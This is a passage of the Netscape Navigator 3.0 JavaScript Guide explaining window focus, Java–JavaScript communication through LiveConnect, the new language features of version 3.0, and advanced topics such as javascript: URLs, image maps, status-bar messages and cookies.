You navigate among frames the same way as you navigate among windows. Many Navigator windows can be open at the same time. The user can move among these windows by clicking them to make them active, or give them focus. When a window has focus, it moves to the front and changes visually in some way. For example, the color of the window's title bar might change. The visual cue varies depending on which platform you are using. You can give focus to a window programmatically by giving focus to an object in the window or by specifying the window as the target of a hypertext link. Although you can change an object's values in a second window, that does not make the second window active: the current window remains active. Example 1: give focus to an object in another window. The following statement gives focus to a Text object named city in a window named checkboxWin. Because the Text object is gaining focus, the window also gains focus and becomes active. The example also shows the statement that creates checkboxWin. checkboxWin=window.open("doc2.html") ... checkboxWin.document.musicForm.city.focus() Example 2: give focus to another window using a hypertext link. The following statement specifies window2 as the target of a hypertext link. When the user clicks the link, focus switches to window2. If window2 does not exist, it is created. <A HREF="doc2.html" TARGET="window2"> Load a file into window2</A>

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/windows.htm (9 of 9) [30/08/2003 9:34:00 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

LiveConnect
iveConnect enables communication between JavaScript and Java applets in a page and between JavaScript and plug-ins loaded on a page.
q q q

Use JavaScript to access Java variables, methods, classes, and packages directly. Control Java applets or plug-ins with JavaScript. Use Java code to access JavaScript methods and properties. For the Netscape packages reference, see Chapter 12, "The Netscape packages."

This chapter explains how to use LiveConnect in Netscape Navigator. It assumes you are familiar with Java programming. For the HTML syntax required to add applets and plug-ins to your web page, see "Applet" and "Plugin".

Enabling LiveConnect
LiveConnect is enabled by default in Navigator 3.0. For LiveConnect to work, both Java and JavaScript must be enabled. To confirm they are enabled, choose Network Preferences from the Options menu, then choose the Languages tab.
q q

Make sure Enable Java is checked. Make sure Enable JavaScript is checked.

To disable either Java or JavaScript, uncheck the checkboxes; if you do this, LiveConnect will not work.

The Java Console


The Java Console is a Navigator window that displays Java messages. When you use the class variables out or err in java.lang.System to output a message, the message appears in the Console. To display the Java Console, choose Show Java Console from the Options menu. You can use the Java Console to present messages to users, or to trace the values of variables at different places in a program's execution.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (1 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

For example, the following Java code displays the message "Hello, world!" in the Java Console: public void init() { System.out.println("Hello, world!") } You can use the Java Console to present messages to users, or to trace the values of variables at different places in a program's execution. To display the Java Console, the user chooses Show Java Console from the Options menu. Note that most users probably do not display the Java Console.

About the Netscape packages


Navigator 3.0 contains a java_30 file that includes the following Java packages:
q q

netscape packages to enable JavaScript and Java communication. java and sun packages to provide security enhancements for LiveConnect.

The new java and sun packages replace packages in the Sun 1.0.2 Java Development Kit (JDK) classes.zip. These packages have been tested by Sun, and similar security enhancements will be implemented in future releases of the Sun JDK. Use these packages until the Sun JDK provides these security enhancements. The file java_30 contains the following netscape packages:
q

netscape.javascript implements the JSObject class to allow your Java applet to access JavaScript methods and properties. It also implements JSException to throw an exception when JavaScript code returns an error. netscape.plugin implements the Plugin class to enable JavaScript and Java plug-in communication. Compile your Java plug-in with this class to allow applets and JavaScript code to manipulate the plug-in.

These packages are documented in Chapter 12, "The Netscape packages." In addition, java_30 contains some other netscape packages:
q q

netscape.applet is a replacement for the Sun JDK package sun.applet. netscape.net is a replacement for the Sun JDK package sun.net.

These packages are not documented because they are implemented in the same way as the original Sun packages.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (2 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

Using the Netscape packages


To access the packages in java_30, place the file in the classpath of the JDK compiler in either of the following ways:
q

Create a CLASSPATH environment variable to specify the paths and names of java_30 and classes.zip. Specify the location of java_30 when you compile by using the -classpath command line parameter.

For example, on Windows, the java_30 file is delivered in the Program\Java\classes directory beneath the Navigator directory. You can specify an environment variable in Windows NT by double-clicking the System icon in the Control Panel and creating a user environment variable called CLASSPATH with a value similar to the following: D:\JDK\java\lib\classes.zip;D:\Navigator\Program\java\classes\java_30 See the Sun JDK documentation for more information about CLASSPATH.

JavaScript to Java communication


LiveConnect provides three ways for JavaScript to communicate with Java:
q q q

Call Java methods directly. Control Java applets. Control Java plug-ins.

Accessing Java directly


When LiveConnect is enabled, JavaScript can make direct calls to Java methods. For example, you can call System.out.println to display a message on the Java Console. In JavaScript, Java packages and classes are properties of the Packages object. Use Java syntax to reference Java objects in JavaScript, with the name of the Packages object optionally prepended: [Packages.]packageName.className.methodName The name Packages is optional for java, sun, and netscape packages; in code, java, sun, and netscape are aliases for Packages.java, Packages.sun, and Packages.netscape. For example, you can refer to the Java class java.lang.System as either Packages.java.lang.System or as java.lang.System
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (3 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

in your code. The name Packages is required for other packages. Access fields and methods in a class with the same syntax that you use in Java. For example, the following JavaScript code prints a message to the Java Console: var System = java.lang.System System.err.println("Greetings from JavaScript") The first line in this example makes the JavaScript variable System refer to the class java.lang.System. The second line invokes the println method of the static variable err in the Java System class. Because println expects a java.lang.String argument, the JavaScript string is automatically converted to a java.lang.String. You can even use Java class constructors in JavaScript. For example, the following JavaScript code creates a Java Date object and prints it to the Java Console. var mydate = new java.util.Date() System.out.println(myDate)

Controlling Java applets


You can use JavaScript to control the behavior of a Java applet without knowing much about the internal construction of the applet. All public variables, methods, and properties of an applet are available for JavaScript access. For example, you can use buttons on an HTML form to start and stop a Java applet that appears elsewhere in the document.

Referencing applets
Each applet in a document is reflected in JavaScript by document.appletName, where appletName is the value of the NAME attribute of the <APPLET> tag. The applets array also contains all the applets in a page; you can reference elements of the array through the applet name (as in an associative array) or by the ordinal number of the applet on the page (starting from zero). For example, consider the basic "Hello World" applet in Java: import java.applet.Applet; import java.awt.Graphics; public class HelloWorld extends Applet { public void paint(Graphics g) { g.drawString("Hello world!", 50, 25); } } The following HTML runs and displays the applet, and names it "HelloWorld" (with the NAME attribute):
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (4 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

<APPLET CODE="HelloWorld.class" NAME="HelloWorld" WIDTH=150 HEIGHT=25> </APPLET> You can reference this applet in JavaScript in either of the following ways: document.HelloWorld document.applets["HelloWorld"] If this is the first applet in the document (topmost on the page), you could also reference it as: document.applets[0] The applets array has a length property, document.applets.length, that indicates the number of applets in the document. All public variables declared in an applet, and its ancestor classes and packages are available in JavaScript. Static methods and properties declared in an applet are available to JavaScript as methods and properties of the Applet object. You can get and set property values, and you can call methods that return string, numeric, and boolean values.

Example 1: Hello World


So for example, modify the HelloWorld applet shown above, and make the following changes:
q q

Override its init method so that it declares and initializes a string called myString. Define a setString method that accepts a string argument, assigns it to myString, and calls the repaint method. (The paint and repaint methods are inherited from java.awt.Component).

The Java source code then looks as follows: import java.applet.Applet; import java.awt.Graphics; public class HelloWorld extends Applet { String myString; public void init() { myString = new String("Hello, world!"); } public void paint(Graphics g) { g.drawString(myString, 25, 20); } public void setString(String aString) { myString = aString; repaint(); }
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (5 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

} Making the message string a variable allows you to modify it from JavaScript. Now modify the HTML file as follows:
q q

Add a form with a button and a text field. Make the onClick event handler for the button call the setString method of HelloWorld with the string from the text field as its argument.

The HTML file now looks like this: <APPLET CODE="HelloWorld1.class" NAME="Hello" WIDTH=150 HEIGHT=25> </APPLET> <FORM NAME="form1"> <INPUT TYPE="button" VALUE="Set String" onClick="document.HelloWorld.setString(document.form1.str.value)"> <BR> <INPUT TYPE="text" SIZE="20" NAME="str"> </FORM> When you compile the HelloWorld applet, and load the HTML page into Navigator, you initially see "Hello, World!" displayed in the gray applet panel. However, you can now change it by entering text in the text field and clicking on the button. This demonstrates controlling an applet from JavaScript.

Example 2: Flashing color text applet


As another slightly more complex example, consider an applet that displays text that flashes in different colors. Two buttons start and stop this applet, and another pushbutton changes the flashing text that it displays.

Enter new text for the flashing display: Click the button to change the display:
Change Text

The HTML source for this example is as follows: <APPLET CODE="colors.class" WIDTH=500 HEIGHT=60 NAME="colorApp"> </APPLET> <FORM NAME=colorText> <P>Enter new text for the flashing display:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (6 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

<INPUT TYPE="text" NAME="textBox" LENGTH=50> <P>Click the button to change the display: <INPUT TYPE="button" VALUE="Change Text" onClick="document.colorApp.setString(document.colorText.textBox.value)"> </FORM> This applet uses the public method setString to specify the text for the flashing string that appears. In the HTML form, the onClick event handler of the button lets a user change the "Hello, world!" string that the applet initially displays by calling the setString method as follows: <INPUT TYPE="button" VALUE="Change Text" onClick="document.colorApp.setString(document.colorText.textBox.value)"> In this code, colorText is the name of the HTML form and textBox is the name of the text field. The event handler passes the value that a user enters in the text field to the setString method in the Java applet.

Controlling Java plug-ins


Each plug-in in a document is reflected in JavaScript as an element in the embeds array. For example, the following HTML code includes an AVI plug-in in a document: <EMBED SRC=myavi.avi NAME="myEmbed" WIDTH=320 HEIGHT=200> If this HTML defines the first plug-in in a document, you can access it in any of the following ways: document.embeds[0] document.embeds["myEmbed"] document.myEmbed If the plug-in is associated with the Java class netscape.plugin.Plugin, you can access its static variables and methods the way you access an applet's variables and methods. The embeds array has a length property, document.embeds.length, that indicates the number of plug-ins embedded in the document. See "Determining installed plug-ins" for more information about plug-ins. The Plug-in Developer's Guide contains information on:
q q

Calling Java methods from plug-ins Calling a plug-in's native methods from Java

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (7 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

Data type conversion


Values passed from JavaScript to Java are converted as follows:
q q q

Strings, numbers and booleans are converted to Java String, Float, and Boolean objects respectively. Objects that are wrappers around Java objects are unwrapped. Other objects are wrapped with a JSObject.

This means that all JavaScript values appear in Java as objects of class java.lang.Object. To use them, you generally will have to cast them to the appropriate subclass of Object, for example: (String) window.getMember("name"); (JSObject) window.getMember("document");.

Java to JavaScript communication


To access JavaScript methods, properties, and data structures from your Java applet, import the Netscape javascript package: import netscape.javascript.* The package netscape.javascript defines the JSObject class and the JSException exception object. The author of an HTML page must permit an applet to access JavaScript by specifying the MAYSCRIPT attribute of the <APPLET> tag. This prevents an applet from accessing JavaScript on a page without the knowledge of the page author. Attempting to access JavaScript from an applet that does not have the MAYSCRIPT attribute generates an exception. The MAYSCRIPT tag is needed only for Java to access JavaScript; it is not needed for JavaScript to access Java.

Getting a handle for the JavaScript window


Before you can access JavaScript, you must get a handle for the Navigator window. Use the getWindow method in the class netscape.javascript.JSObject to get a window handle, passing it the Applet object. For example, if win is a previously-declared variable of type JSObject, the following Java code assigns a window handle to win: public class myApplet extends Applet { public void init() {
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (8 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

JSObject win = JSObject.getWindow(this); } }

Accessing JavaScript objects and properties


The getMember method in the class netscape.javascript.JSObject lets you access JavaScript objects and properties. Call getWindow to get a handle for the JavaScript window, then call getMember to access each JavaScript object in a containership path in turn. For example, the following Java code allows you to access the JavaScript object document.testForm through the variable myForm: public void init() { win = JSObject.getWindow(this); myForm=win.eval("document.testForm") } Note that you could use the following lines in place of myForm=win.eval("document.testForm"): JSObject doc = (JSObject) win.getMember("document"); JSObject myForm = (JSObject) doc.getMember("testForm"); Notice that JavaScript objects appear as instances of the class netscape.javascript.JSObject in Java. Values passed between Java and JavaScript are converted as described in "netscape.javascript.JSObject". If the JavaScript object document.testForm.jazz is a checkbox, the following Java code allows you to access its checked property: public void init() { win = JSObject.getWindow(this); JSObject doc = (JSObject) win.getMember("document"); JSObject myForm = (JSObject) doc.getMember("testForm"); JSObject check = (JSObject) myForm.getMember("jazz"); Boolean isChecked = (Boolean) check.getMember("checked"); }

Calling JavaScript methods


The eval method in the class netscape.javascript.JSObject let you evaluate an arbitrary JavaScript expression. Use getWindow to get a handle for the JavaScript window, then use eval to access a JavaScript method. Use the following syntax to call JavaScript methods:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (9 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

JSObject.getWindow().eval("expression") expression is a JavaScript expression that evaluates to a JavaScript method call. For example, the following Java code uses eval to call the JavaScript alert method when a mouseUp event occurs: public void init() { JSObject win = JSObject.getWindow(this); } public boolean mouseUp(Event e, int x, int y) { win.eval("alert(\"Hello world!\");"); return true; } Another way to call JavaScript methods is with the call method of JSObject. Use the following to call a JavaScript method from Java when you want to pass Java objects as arguments: JSObject.call(methodName, argArray) where argArray is an Array of Java objects used to pass arguments to the JavaScript method. If you want to pass primitive values to a JavaScript method, you must use the Java object wrappers (such as Integer, Float, and Boolean), and then populate an Array with such objects.

Example: Hello World


Returning to the HelloWorld example, modify the paint method in the Java code so that it calls the JavaScript alert method (with the message "Painting!") as follows: public void paint(Graphics g) { g.drawString(myString, 25, 20); JSObject win = JSObject.getWindow(this); String args[] = {"Painting!"}; win.call("alert", args); } Then add the MAYSCRIPT attribute to the <APPLET> tag in the HTML page, recompile the applet, and try it. Each time the applet is painted (when it is initalized, when you enter a new text value, and when the page is reloaded) a JavaScript alert box is displayed. This is a simple illustration of calling JavaScript from Java. This same effect could be achieved with the following:
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (10 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm

public void paint(Graphics g) { g.drawString(myString, 25, 20); JSObject win = JSObject.getWindow(this); win.eval("alert(`Painting')"); } Note You may have to reload the HTML page by choosing Open File from the File menu instead of clicking the Reload button, to ensure that the applet is re-initialized.

Calling user-defined functions


You can also call user-defined functions from a Java applet. For example, add the following function to the <HEAD> of the HTML page with the HelloWorld applet: <SCRIPT> function test() { alert("You are using " + navigator.appName + " " + navigator.appVersion) } </SCRIPT> This simple function displays an alert dialog box containing the name and version of the client software being used. Then modify the init method in your Java code similarly to the way you modified paint: public void init() { myString = new String("Hello, world!") JSObject win = JSObject.getWindow(this) String args2[] = {""} win.call("test", args2) } Notice that args2 is declared as an array with no elements, even though the method does not take any arguments. When you recompile the applet and reload the HTML page (and re-initialize the applet), a JavaScript alert dialog box will display the version of Navigator you are running. This is a simple illustration of calling a user-defined function from Java.

Data type conversion


Values passed from Java to JavaScript are converted as follows:
q

Java byte, char, short, int, long, float, and double are converted to JavaScript numbers.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (11 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm
q q q

A Java boolean is converted to a JavaScript boolean. An object of class JSObject is converted to the original JavaScript object. An object of any other class is converted to a JavaScript wrapper, which can be used to access methods and fields of the Java object. Converting this wrapper to a string will call the toString method on the original object; converting to a number will call the floatValue method if possible and fail otherwise. Converting to a boolean will attempt to call the booleanValue method in the same way. Java arrays are converted to a JavaScript pseudo-Array object; this object behaves just like a JavaScript Array object: you can access it with the syntax arrayName[index] (where index is an integer), and determine its length with arrayName.length.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/livecon.htm (12 of 12) [30/08/2003 9:34:01 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

Features added after version 1


he following lists summarize the additions and changes to JavaScript since Navigator 2.0. The lists show new functionality and changed functionality. Note Language features added in Navigator 3.0 are not incorporated in LiveWire 1.0.

New functionality
The following table lists objects, properties, methods, event handlers, and other features added in JavaScript for Navigator 3.0.

Category New objects

Feature Applet Area Array Boolean FileUpload

Description Includes a Java applet in a web page Defines image maps Lets you create arrays and work with them Lets you work with Boolean values A file upload element on an HTML form; a file upload element lets the user supply a file as input Specifies a string of JavaScript code to be compiled as a function An image on an HTML form

Function

Image

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (1 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

MimeType

A MIME type (Multipart Internet Mail Extension) supported by the client Lets you work with numeric values A Select object option created using the Option() constructor A plug-in module installed on the client You can remove an object by setting its object reference to null. See "Object deletion". A string specifying the width, in pixels, of an image border Specifies whether a window is closed A boolean value that indicates whether Navigator has completed its attempt to load an image Specifies the function that creates an object prototype A string specifying the complete URL of the current history entry A description of a MIME type or plug-in Specifies the domain name of the server that served a document The Plugin object for the plug-in that is configured for the specified MIME type

Number Option

Plugin Object deletion

New properties

border

closed complete

constructor current

description domain

enabledPlugin

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (2 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

filename height hspace

The name of a plug-in file on disk A string specifying the height of an image in pixels A string specifying a margin in pixels between the left and right edges of an image and the surrounding text A string specifying the URL of a low-resolution version of an image to be displayed in a document The maximum numeric value representable in JavaScript The smallest positive numeric value representable in JavaScript A special value representing Not-ANumber. This value is represented as NaN A special numeric value representing negative infinity; this value is represented as "-Infinity" A string specifying the complete URL of the next history entry Specifies the window of the calling document when a window is opened using the open method A special numeric value representing infinity. This value is represented as "Infinity"

lowsrc

MAX_VALUE

MIN_VALUE

NaN

NEGATIVE_INFINITY

next

opener

POSITIVE_INFINITY

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (3 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

previous

A string specifying the complete URL of the previous history entry Defines a property that is shared by all objects of the specified type A string specifying the URL of an image to be displayed in a document A string listing possible file suffixes (also known as file name extensions) for the MIME type Specifies the type of form element or the name of a MIME type A string specifying a margin in pixels between the top and bottom edges of an image and the surrounding text A string specifying the width of an image in pixels Reflects all the <APPLET> tags in a document in source order Reflects all the <EMBED> tags in a document in source order Reflects all the history entries in a window in source order Reflects all the <IMG> tags in a document in source order (images created with the Image() constructor are not included in the images array)

prototype

src

suffixes

type

vspace

width New arrays applets

embeds array

history array

images

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (4 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

mimeTypes

Reflects all the MIME types supported by the client (either internally, via helper applications, or by plug-ins) Reflects all the plug-ins installed on the client in source order Specifies whether Java is enabled Joins all elements of an array into a string Makes newly installed plugins available, updates related arrays such as the plugins array, and optionally reloads open documents that contain plugins Forces a reload of the window's current document Loads the specified URL over the current history entry Simulates a mouse click on a reset button Transposes the elements of an array: the first array element becomes the last and the last becomes the first Scrolls a window to a specified coordinate Sorts the elements of an array Splits a String object into an array of strings by separating the string into substrings

plugins

New methods

javaEnabled join refresh

reload replace

reset method reverse

scroll sort split

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (5 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

taintEnabled valueOf New functions taint untaint New event handlers onAbort

Specifies whether data tainting is enabled Returns the primitive value of an object Adds tainting to a data element or script Removes tainting from a data element or script Executes JavaScript code the user aborts the loading of an image Executes JavaScript code when the loading of a document or image causes an error Executes JavaScript code when the mouse pointer leaves an area (client-side image map) or link Executes JavaScript code when a reset event occurs In JavaScript for Navigator 3.0, you can reset an event handler specified by HTML from within JavaScript. See "Calling event handlers explicitly". Returns the data type of its operand Specifies an expression to be evaluated without returning a value JavaScript entities for HTML attribute values. See "Using JavaScript expressions as HTML attribute values".

onError

onMouseOut

onReset Resetting event handlers from within JavaScript

New operators

typeof void

New HTML tags and attributes

JavaScript entities

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (6 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

SRC attribute of <SCRIPT> the tag

Allows you to use JavaScript code in an external file. See "Specifying a file of JavaScript code". Allows you to specify the JavaScript version. See "Specifying the JavaScript version". Displays alternate content for old browsers or when the user has disabled JavaScript in Navigator. See "Specifying alternate content with the NOSCRIPT tag". LiveConnect enables communication between JavaScript and Java applets in a page and between JavaScript and plug-ins loaded on a page. See Chapter 4, "LiveConnect." You can use JavaScript to determine whether a user has installed a particular plug-in. You can also determine whether a client is capable of handling a particular MIME (Multipart Internet Mail Extension) type. See "Determining installed plug-ins".

LANGUAGE attribute of <SCRIPT> the tag

<NOSCRIPT> tag

Java-JavaScript communication

LiveConnect

Plug-in detection

Determining installed plug-ins

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (7 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

Security

Data tainting

Navigator prevents scripts from fetching private information such as directory structures or user session history. Data tainting retains the security restriction but provides a means of secure access to specific components on a page. See "Using data tainting for security".

Changed functionality
The following table lists changes to functionality that existed in JavaScript for Navigator 2.0. Category Objects Feature Form object Frame history object Link object location navigator Object prototypes (see prototype) Select object Description Added reset method; added onReset event handler Added blur, focus, and scroll methods; added onBlur, onError, and onFocus event handlers Added current, next, and previous properties Added onMouseOut event handler Added reload and replace methods; changed the way documents are loaded when location is set Added mimeTypes and plugins arrays; added javaEnabled method Added ability to create properties to be shared by all objects of the same type Programmatically modifiable Select objects and the ability to add options and delete options

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (8 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

String

Added String() constructor (in previous releases, you construct strings by quoting characters); added prototype property; added split method; added ability to pass strings among scripts in different windows or frames (in previous releases, you had to add an empty string to another window's string to reference it) Added closed and opener properties; added blur, focus, and scroll methods; added onBlur, onError, and onFocus event handlers If you initially define a property by its name, you must always refer to it by its name, and if you initially define a property by an index, you must always refer to it by its index. See "Indexing object properties". Added ability to index arrays using strings (as in an associative array). See "Navigator's object arrays", "Array object", and "Array". Now works for window, frame, Button, Checkbox, FileUpload, Radio, Reset, and Submit objects Has new security enhancements Now a method of every object (was previously a built-in function); it evaluates a string of JavaScript code in the context of the specified object Now works for window, frame, Button, Checkbox, FileUpload, Radio, Reset, and Submit objects

window object

Indexing object properties

Properties

Indexing arrays with strings blur close (window object) eval

Methods

focus

open (document object) Added "replace" parameter, which causes the new document to reuse the history entry that the previous document used; document.open() or document.open("text/html") now clears the current document if it has finished loading random toString write writeln Functions isNaN Now works on all platforms Added radix parameter, which specifies the base to use for representing numeric values Users can print and save generated HTML using the commands on the File menu Users can print and save generated HTML using the commands on the File menu Now works on all platforms (in previous releases, worked only on Unix platforms)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (9 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm

parseFloat

Now returns NaN on all platforms if the first character of the specified string cannot be converted to a number; in previous releases, it returned NaN on Solaris and Irix and zero on all other platforms Now returns NaN on all platforms if the first character of the specified string cannot be converted to a number; in previous releases, it returned NaN on Solaris and Irix and zero on all other platforms Now applies to window, frame, Button, Checkbox, FileUpload, Radio, Reset, and Submit objects Added the ability to return false to cancel the action associated with a click event Now applies to window, frame, Button, Checkbox, FileUpload, Radio, Reset, and Submit objects

parseInt

Event handlers onBlur onClick onFocus

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/newfunc.htm (10 of 10) [30/08/2003 9:34:02 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

Advanced topics
his chapter describes some special concepts and applications that extend the power and flexibility of Navigator JavaScript. The chapter covers the following topics:

Using JavaScript URLs Using client-side image maps Using server-side image maps Using the status bar

Using cookies Using data tainting for security Determining installed plug-ins

Using JavaScript URLs


You should be familiar with the standard types of URLS: http, ftp, file, and so on. With Navigator you can also use URLs of type "javascript:" to execute JavaScript statements instead of loading a document. You simply use a string beginning with "javascript:" as the value for the HREF attribute of anchor tags. For example, you can define a hyperlink as follows: <A HREF="javascript:history.go(0)">Reload Now</A> to reload the current page when the user clicks it. In general, you can put any statements or function calls after the "javascript:" URL prefix. You can use JavaScript URLs in many ways to add functionality to your applications. For example, you could increment a counter p1 in a parent frame whenever a user clicks a link, using the following function: function countJumps() { parent.p1++ window.location=page1 } To call the function, use a JavaScript URL in a standard HTML hyperlink: <A HREF="javascript:countJumps()">Page 1</A> This example assumes page1 is a string representing a URL. If the value of the expression following a "javascript:" URL prefix evaluates to undefined, no new document is loaded. If the expression evaluates to a defined type, the value is converted to a string that specifies the source of the document to load.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (1 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

Using client-side image maps


A client-side image map is defined with the MAP tag. You can define areas within the image that are hyperlinks to distinct URLs; the areas can be rectangles, circles, or polygons. Instead of standard URLs, you can also use JavaScript URLs in client-side image maps, for example, <MAP NAME="buttonbar"> <AREA SHAPE="RECT" COORDS="0,0,16,14" HREF ="javascript:top.close(); window.location = newnav.html"> <AREA SHAPE="RECT" COORDS="0,0,85,46" HREF="contents.html" target="javascript:alert(`Loading Contents.'); top.location = contents.html"> </MAP>

Using server-side image maps


Client-side image maps provide functionality to perform most tasks, but standard (sometimes called server-side) image maps provide even more flexibility. You specify a standard image map with the ISMAP attribute of an IMG tag that is a hyperlink. For example, The "about:logo" image is built in to Navigator and displays the Netscape logo. <A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A> When you click an image with the ISMAP attribute, Navigator requests a URL of the form URL?x,y where URL is the document specified by the value of the HREF attribute, and x and y are the horizontal and vertical coordinates of the mouse pointer (in pixels from the top-left of the image) when you clicked. Traditionally, image-map requests are sent to servers, and a CGI program performs a database lookup function. With Navigator JavaScript, however, you can perform the lookup on the client. You can use the search property of the location object to parse the x and y coordinates and perform an action accordingly. For example, suppose you have a file named img.html with the following content: <H1>Click on the image</H1> <P> <A HREF="img.html"><IMG SRC="about:logo" BORDER=0 ISMAP></A> <SCRIPT> str = location.search if (str == "") document.write("<P>No coordinates specified.") else { commaloc = str.indexOf(",") // the location of the comma
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (2 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

document.write("<P>The x value is " + str.substring(1, commaloc)) document.write("<P>The y value is " + str.substring(commaloc+1, str.length)) } </SCRIPT> When you click a part of the image, Navigator reloads the page (because the HREF attribute specifies the same document), adding the x and y coordinates of the mouse-click to the URL. The statements in the else clause then display the x and y coordinates. In practice, you could redirect to another page (by setting location) or perform some other action based on the values of x and y.

Using the status bar


You can use two window properties, status and defaultStatus, to display messages in the Navigator status bar at the bottom of the window. Navigator normally uses the status bar to display such messages as "Contacting Host..." and "Document: Done." The defaultStatus message appears when nothing else is in the status bar. The status property displays a transient message in the status bar, such as when the user moves the mouse pointer over a link. You can set these properties to display custom messages. For example, to display a custom message after the document has finished loading, simply set defaultStatus. For example, defaultStatus = "Some rise, some fall, some climb...to get to Terrapin"

Creating hints with onMouseOver and onMouseOut


By default, when you move the mouse pointer over a hyperlink, the status bar displays the destination URL of the link. You can set status in the onMouseOut and onMouseOver event handlers of a hyperlink or image area to display hints in the status bar instead. The event handler must return true to set status. For example, <A HREF="contents.html" onMouseOver="window.status='Click to display contents';return true"> Contents</A> This example displays the hint "Click to display contents" in the status bar when you move the mouse pointer over the link.

Using cookies
For a complete description of cookies, see Appendix D, "Netscape cookies.". Netscape cookies are a mechanism for storing persistent data on the client in a file called cookies.txt. Because HyperText Transport Protocol (HTTP) is a stateless protocol, cookies provide a way to maintain information between client requests. This section discusses basic uses of cookies and illustrates with a simple example.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (3 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

